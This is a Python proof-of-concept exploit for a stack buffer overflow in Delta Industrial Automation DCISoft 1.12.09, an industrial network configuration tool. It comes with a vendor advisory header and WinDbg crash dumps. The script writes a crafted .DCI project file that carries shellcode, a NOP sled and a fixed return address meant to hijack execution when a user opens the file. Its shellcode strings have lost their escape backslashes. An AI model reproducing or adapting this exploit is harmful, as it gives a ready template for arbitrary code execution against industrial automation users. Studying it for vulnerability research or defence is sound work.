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Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow

Posted on 14 February 2016

#!/usr/bin/env python
#
#
# Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit
#
#
# Vendor: Delta Electronics, Inc.
# Product web page: http://www.delta.com.tw
# Software link: http://www.delta.com.tw/product/em/download/download_main.asp?act=3&pid=3&cid=5&tpid=3
# Affected version: 1.12.09 (Build 12102014)
#
# Summary: DCISoft is a integrated configuration tool of Delta
# network modules (DVPEN01-SL, RTU-EN01, IFD9506, IFD9507, DVPSCM12-SL,
# DVPSCM52-SL) for WINDOWS operation system.
#
# Desc: The vulnerability is caused due to a boundary error in
# the processing of a project file, which can be exploited to
# cause a stack based buffer overflow when a user opens e.g. a
# specially crafted .DCI file. Successful exploitation allows
# execution of arbitrary code on the affected machine.
#
# ----------------------------------------------------------------------------
# (1554.1830): Access violation - code c0000005 (!!! second chance !!!)
# eax=00000001 ebx=0018f684 ecx=44444444 edx=777a4a20 esi=0018f65c edi=777a4a20
# eip=73d34b64 esp=0018cdd8 ebp=0018cdec iopl=0 nv up ei pl nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
# MFC42!Ordinal2740+0x88:
# 73d34b64 8b01 mov eax,dword ptr [ecx] ds:002b:44444444=????????
# 0:000> d esp
# 0018cdd8 1c f6 18 00 a8 a5 47 00-01 00 00 00 01 00 00 00 ......G.........
# 0018cde8 5c f6 18 00 fc cd 18 00-a4 59 41 00 e1 b5 85 88 ........YA.....
# 0018cdf8 5c f6 18 00 d8 f8 18 00-fa 38 41 00 84 f6 18 00 ........8A.....
# 0018ce08 c8 8f 74 02 e8 1f 7c 02-04 ce 18 00 c8 8f 74 02 ..t...|.......t.
# 0018ce18 04 ce 18 00 44 44 44 44-44 44 44 44 44 44 44 44 ....DDDDDDDDDDDD
# 0018ce28 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
# 0018ce38 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
# 0018ce48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
# --
# (11bc.1394): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# Defaulted to export symbols for C:Program Files (x86)Delta Industrial AutomationCommunicationDCISoft 1.12MFC42.DLL -
# eax=0018cdfc ebx=0018f684 ecx=0018cdec edx=ce085164 esi=0018f65c edi=31f7ae9c
# eip=43434343 esp=0018cdcc ebp=0018cdec iopl=0 nv up ei pl nz ac pe cy
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210217
# 43434343 ?? ???
# ----------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5305
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5305.php
#
#
# 13.11.2015
#

sc = ("x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42"
 "x08x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03"
 "x78x3cx8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8b"
 "x34xafx01xc6x45x81x3ex46x61x74x61x75xf2x81x7e"
 "x08x45x78x69x74x75xe9x8bx7ax24x01xc7x66x8bx2c"
 "x6fx8bx7ax1cx01xc7x8bx7cxafxfcx01xc7x68x65x64"
 "x21x01x68x20x50x77x6ex68x20x5ax53x4cx89xe1xfe"
 "x49x0bx31xc0x51x50xffxd7")

buffer = "x41" * 156 # align
buffer += "x3cxcex18x00" # eip - jmp esp+49h
buffer += "x90" * 15 # nopsled
buffer += sc # 113 bytes messagebox shellcode
buffer += "x44" * 7926 # extra shellcode space
buffer += "xecxcdx18x00" # overwrite data segment to control eip - mov eax,dword ptr [ecx]
buffer += "x45" * 2203 # padding to fix 10421 bytes

f = open ("Detachment.dci", "w")
f.write(buffer)
f.close()
print "File Detachment.dci successfully created!
"

 

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